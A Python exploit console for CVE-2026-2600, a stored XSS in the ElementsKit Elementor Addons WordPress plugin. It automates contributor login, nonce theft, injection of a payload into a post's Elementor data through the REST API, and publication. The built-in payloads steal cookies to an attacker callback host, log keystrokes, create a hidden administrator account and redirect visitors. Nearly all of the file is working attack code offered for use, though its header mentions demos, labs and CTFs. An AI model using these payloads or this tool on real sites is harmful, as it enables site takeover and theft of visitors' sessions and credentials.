1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
| #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
CVE-2026-2600 - ElementsKit Stored XSS - Interactive Console
Author : Alaaeddine Knani (@iwd) - Offensive Security Engineer @ ODDO BHF
A menu-driven terminal console for exploiting CVE-2026-2600.
Lets you authenticate, choose a payload, inject, publish, and verify
step by step - useful for demos, labs, and CTFs.
Usage:
python console_poc.py
"""
import json
import os
import re
import sys
import time
import uuid
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# Force UTF-8 on Windows terminals
if sys.stdout.encoding and sys.stdout.encoding.lower() != 'utf-8':
try:
sys.stdout.reconfigure(encoding='utf-8')
except AttributeError:
pass
# ─── Terminal colours & helpers ────────────────────────────────────────────────
R = "\033[91m"
G = "\033[92m"
Y = "\033[93m"
B = "\033[94m"
M = "\033[95m"
C = "\033[96m"
W = "\033[97m"
DIM = "\033[2m"
RST = "\033[0m"
BOLD= "\033[1m"
def cls():
os.system("cls" if os.name == "nt" else "clear")
def pause():
input(f"\n {DIM}Press ENTER to continue ...{RST}")
def hr(char="─", width=62):
print(f" {DIM}{char * width}{RST}")
def header(title: str):
cls()
hr("═")
print(f"\n {BOLD}{W}CVE-2026-2600{RST} {DIM}|{RST} {C}{title}{RST}\n")
hr()
print()
def banner():
cls()
print(f"""
{R} +----------------------------------------------------------+{RST}
{R} | {W}{BOLD}CVE-2026-2600 - ElementsKit Stored XSS Console{RST}{R} |{RST}
{R} +----------------------------------------------------------+{RST}
{Y} | Plugin : ElementsKit Elementor Addons <= 3.7.9 |{RST}
{Y} | Widget : Simple Tab (ekit-tab) |{RST}
{Y} | Type : Stored XSS via REST API bypass |{RST}
{G} | CVSS : 6.4 MEDIUM | Role: Contributor+ |{RST}
{DIM} | Author : Alaaeddine Knani (@iwd) - ODDO BHF |{RST}
{R} +----------------------------------------------------------+{RST}
""")
def log(msg): print(f" {B}[*]{RST} {msg}")
def ok(msg): print(f" {G}[+]{RST} {BOLD}{msg}{RST}")
def warn(msg): print(f" {Y}[!]{RST} {msg}")
def fail(msg): print(f" {R}[-]{RST} {msg}")
def step(n, msg): print(f"\n {C}[{n}]{RST} {W}{msg}{RST}")
# ─── Elementor data builder ────────────────────────────────────────────────────
def build_elementor_data(xss_payload: str) -> list:
def uid() -> str:
return uuid.uuid4().hex[:6]
return [
{
"id": uid(),
"elType": "section",
"isInner": False,
"settings": {},
"elements": [
{
"id": uid(),
"elType": "column",
"settings": {"_column_size": 100},
"elements": [
{
"id": uid(),
"elType": "widget",
"widgetType": "elementskit-simple-tab",
"settings": {
"ekit_tab_items": [
{
"_id": uid(),
"ekit_tab_title": xss_payload,
"ekit_tab_content": "<p>Content</p>",
"tab_id": "tab-1",
},
{
"_id": uid(),
"ekit_tab_title": "Tab 2",
"ekit_tab_content": "<p>More content</p>",
"tab_id": "tab-2",
},
],
"ekit_tab_active_index": 0,
},
}
],
}
],
}
]
# ─── Exploit state ─────────────────────────────────────────────────────────────
class ExploitState:
def __init__(self):
self.target = ""
self.username = ""
self.password = ""
self.callback = ""
self.payload = ""
self.nonce = ""
self.post_id = None
self.post_url = ""
self.session = requests.Session()
self.session.headers.update({"User-Agent": "Mozilla/5.0 (X11; Linux x86_64)"})
self.session.verify = True
self.authenticated = False
self.injected = False
self.published = False
def status_line(self):
parts = []
if self.target:
parts.append(f"{DIM}target:{RST} {C}{self.target}{RST}")
if self.authenticated:
parts.append(f"{G}✓ auth{RST}")
if self.post_id:
parts.append(f"{G}✓ post #{self.post_id}{RST}")
if self.injected:
parts.append(f"{R}✓ injected{RST}")
if self.published:
parts.append(f"{Y}✓ published{RST}")
return " " + " | ".join(parts) if parts else ""
S = ExploitState()
BUILTIN_PAYLOADS = {
"1": ("Cookie Exfiltration",
lambda: f'<img src=x onerror="fetch(\'{S.callback}?c=\'+btoa(document.cookie))">'),
"2": ("Alert PoC (safe demo)",
lambda: '<img src=x onerror="alert(\'XSS: CVE-2026-2600 by @iwd\')">'),
"3": ("Keylogger",
lambda: f'<script>document.addEventListener("keypress",e=>new Image().src="{S.callback}/k?c="+e.key)</script>'),
"4": ("Admin account creation",
lambda: (
"<script>fetch('/wp-admin/user-new.php').then(r=>r.text()).then(h=>{"
"const n=h.match(/_wpnonce_create-user\" value=\"([^\"]+)/)[1];"
"fetch('/wp-admin/user-new.php',{method:'POST',"
"body:new URLSearchParams({action:'createuser',user_login:'hax0r',"
f"email:'hax@{S.target.split('//')[-1].split('/')[0]}',"
"pass1:'H4x0r!Q1',pass2:'H4x0r!Q1',role:'administrator',"
"'_wpnonce_create-user':n}),headers:{'Content-Type':'application/x-www-form-urlencoded'}});"
"});</script>"
)),
"5": ("Full redirect",
lambda: f'<script>document.location="{S.callback}"</script>'),
"6": ("Custom payload", None),
}
# ─── Screen modules ────────────────────────────────────────────────────────────
def screen_configure():
header("Configure Target")
print(f" {DIM}Leave blank to keep current value.{RST}\n")
def ask(prompt, current, secret=False):
suffix = f" {DIM}[{current if not secret else '****'}]{RST}" if current else ""
val = input(f" {W}{prompt}{suffix}: {RST}").strip()
return val if val else current
S.target = ask("Target URL (https://victim.com)", S.target).rstrip("/")
S.username = ask("Username", S.username)
S.password = ask("Password", S.password, secret=True)
S.callback = ask("Callback URL (attacker server)", S.callback or "https://attacker.example.com")
print()
ok("Configuration saved")
pause()
def screen_authenticate():
header("Step 1 - Authenticate")
if not S.target or not S.username or not S.password:
warn("Configure target first (option 1)")
pause()
return
log(f"Logging in as {W}{S.username}{RST} to {C}{S.target}{RST} ...")
try:
resp = S.session.post(
f"{S.target}/wp-login.php",
data={
"log": S.username, "pwd": S.password,
"wp-submit": "Log In", "redirect_to": "/wp-admin/",
"testcookie": "1",
},
cookies={"wordpress_test_cookie": "WP+Cookie+check"},
allow_redirects=True, timeout=20,
)
except requests.RequestException as exc:
fail(f"Request failed: {exc}")
pause()
return
if not any("wordpress_logged_in" in c.name for c in S.session.cookies):
fail("Login failed - bad credentials or login protection active")
pause()
return
S.authenticated = True
ok("Authenticated - session cookie stored")
# Immediately grab nonce too
log("Extracting REST nonce ...")
try:
html = S.session.get(f"{S.target}/wp-admin/post-new.php", timeout=20).text
for pat in [r'"nonce"\s*:\s*"([a-f0-9]{10,})"', r'"rest_nonce"\s*:\s*"([^"]+)"']:
m = re.search(pat, html)
if m:
S.nonce = m.group(1)
ok(f"REST nonce: {C}{S.nonce}{RST}")
break
if not S.nonce:
warn("Could not auto-extract nonce - set manually if needed")
except requests.RequestException:
warn("Could not load post editor to extract nonce")
pause()
def screen_choose_payload():
header("Step 2 - Choose Payload")
print(f" {'#':<4} {'Payload Type':<34} {'Description'}")
hr()
for k, (name, _) in BUILTIN_PAYLOADS.items():
marker = f"{G}●{RST}" if S.payload and S.payload.startswith(str(k)) else " "
print(f" {marker} {k:<3} {name}")
print()
choice = input(f" {W}Choose payload [1-6]: {RST}").strip()
if choice not in BUILTIN_PAYLOADS:
warn("Invalid choice")
pause()
return
name, builder = BUILTIN_PAYLOADS[choice]
if choice == "6" or builder is None:
print(f"\n {DIM}Enter your custom HTML/JS payload:{RST}")
custom = input(f" {W}> {RST}").strip()
if not custom:
warn("Empty payload - cancelled")
pause()
return
S.payload = custom
else:
S.payload = builder()
print()
ok(f"Payload selected: {Y}{name}{RST}")
print(f" {DIM}Preview: {R}{S.payload[:120]}{'...' if len(S.payload)>120 else ''}{RST}")
pause()
def screen_create_post():
header("Step 3 - Create Draft Post")
if not S.authenticated:
warn("Authenticate first (option 2)")
pause()
return
if not S.nonce:
warn("No REST nonce available - authenticate again")
pause()
return
title = input(f" {W}Post title {DIM}[Security Research]{RST}{W}: {RST}").strip() or "Security Research"
log(f"Creating draft post titled {W}{title!r}{RST} ...")
try:
r = S.session.post(
f"{S.target}/wp-json/wp/v2/posts",
headers={"X-WP-Nonce": S.nonce, "Content-Type": "application/json"},
json={"title": title, "status": "draft", "content": ""},
timeout=20,
)
r.raise_for_status()
except requests.RequestException as exc:
fail(f"Failed: {exc}")
pause()
return
S.post_id = r.json().get("id")
if not S.post_id:
fail("No post ID in response - check permissions")
pause()
return
ok(f"Draft created → post ID {Y}{S.post_id}{RST}")
ok(f"Edit URL: {C}{S.target}/wp-admin/post.php?post={S.post_id}&action=edit{RST}")
pause()
def screen_inject():
header("Step 4 - Inject Payload")
if not S.post_id:
warn("Create a post first (option 3)")
pause()
return
if not S.payload:
warn("Choose a payload first (option 2)")
pause()
return
print(f" {DIM}Sending PATCH to /wp-json/wp/v2/posts/{S.post_id}{RST}")
print(f" {DIM}This bypasses Elementor's client-side sanitization.{RST}\n")
log("Injecting into _elementor_data via REST API ...")
print(f" {DIM}Payload: {R}{S.payload[:100]}{'...' if len(S.payload)>100 else ''}{RST}")
print()
elementor_data = build_elementor_data(S.payload)
try:
r = S.session.patch(
f"{S.target}/wp-json/wp/v2/posts/{S.post_id}",
headers={"X-WP-Nonce": S.nonce, "Content-Type": "application/json"},
json={
"meta": {
"_elementor_data": json.dumps(elementor_data),
"_elementor_edit_mode": "builder",
}
},
timeout=20,
)
r.raise_for_status()
except requests.RequestException as exc:
fail(f"PATCH failed: {exc}")
pause()
return
stored = r.json().get("meta", {}).get("_elementor_data", "")
if S.payload in stored or S.payload.replace('"', '\\"') in stored:
S.injected = True
ok(f"{G}{BOLD}Payload stored in database - confirmed!{RST}")
print(f"\n {DIM}The payload will execute for every visitor when the page loads.{RST}")
else:
warn("Payload not visible in response (meta may be restricted) - likely stored anyway")
S.injected = True
pause()
def screen_publish():
header("Step 5 - Publish Post")
if not S.post_id:
warn("Create a post first (option 3)")
pause()
return
if not S.injected:
warn("Inject payload first (option 4)")
confirm = input(f" {Y}Publish anyway? [y/N]: {RST}").strip().lower()
if confirm != "y":
return
log(f"Publishing post #{S.post_id} ...")
try:
r = S.session.post(
f"{S.target}/wp-json/wp/v2/posts/{S.post_id}",
headers={"X-WP-Nonce": S.nonce, "Content-Type": "application/json"},
json={"status": "publish"},
timeout=20,
)
r.raise_for_status()
except requests.RequestException as exc:
fail(f"Failed to publish: {exc}")
pause()
return
S.post_url = r.json().get("link", f"{S.target}/?p={S.post_id}")
S.published = True
ok(f"Post published → {C}{S.post_url}{RST}")
print(f"\n {Y}Note:{RST} On many sites Contributors submit for review.")
print(f" {DIM}The payload fires even while the post is pending review{RST}")
print(f" {DIM}(when an editor opens the preview link).{RST}")
pause()
def screen_verify():
header("Step 6 - Verify Payload")
url = S.post_url or (f"{S.target}/?p={S.post_id}" if S.post_id else "")
if not url:
warn("No post URL - publish first (option 5)")
pause()
return
custom_url = input(f" {W}URL to verify {DIM}[{url}]{RST}{W}: {RST}").strip()
if custom_url:
url = custom_url
log(f"Fetching {url} ...")
try:
html = requests.get(url, verify=S.session.verify, timeout=20).text
except requests.RequestException as exc:
fail(f"Could not fetch page: {exc}")
pause()
return
marker = "onerror" if "onerror" in (S.payload or "") else "script"
if marker in html:
ok(f"{G}{BOLD}CONFIRMED: Payload is live in page source!{RST}")
print(f"\n {DIM}Found marker: {R}'{marker}'{RST}")
# Show surrounding context
idx = html.find(marker)
snippet = html[max(0, idx-40):idx+80].replace("\n", " ")
print(f" {DIM}Context: ...{R}{snippet}{RST}...{RST}")
else:
warn(f"Marker '{marker}' not found - post may still be pending review")
print(f" {DIM}Try browsing to the URL manually or check draft preview.{RST}")
pause()
def screen_full_auto():
header("Full Auto - Run All Steps")
if not S.target:
warn("Configure target first (option 1)")
pause()
return
if not S.payload:
warn("Choose a payload first (option 2)")
pause()
return
confirm = input(
f" {Y}This will authenticate, create a post, inject, and publish on{RST}\n"
f" {C}{S.target}{RST}\n\n"
f" {W}Continue? [y/N]: {RST}"
).strip().lower()
if confirm != "y":
print(f" {DIM}Aborted.{RST}")
pause()
return
print()
steps = [
("Authenticating", screen_authenticate),
("Creating draft post", screen_create_post),
("Injecting payload", screen_inject),
("Publishing", screen_publish),
("Verifying", screen_verify),
]
for name, fn in steps:
step("→", name)
fn()
|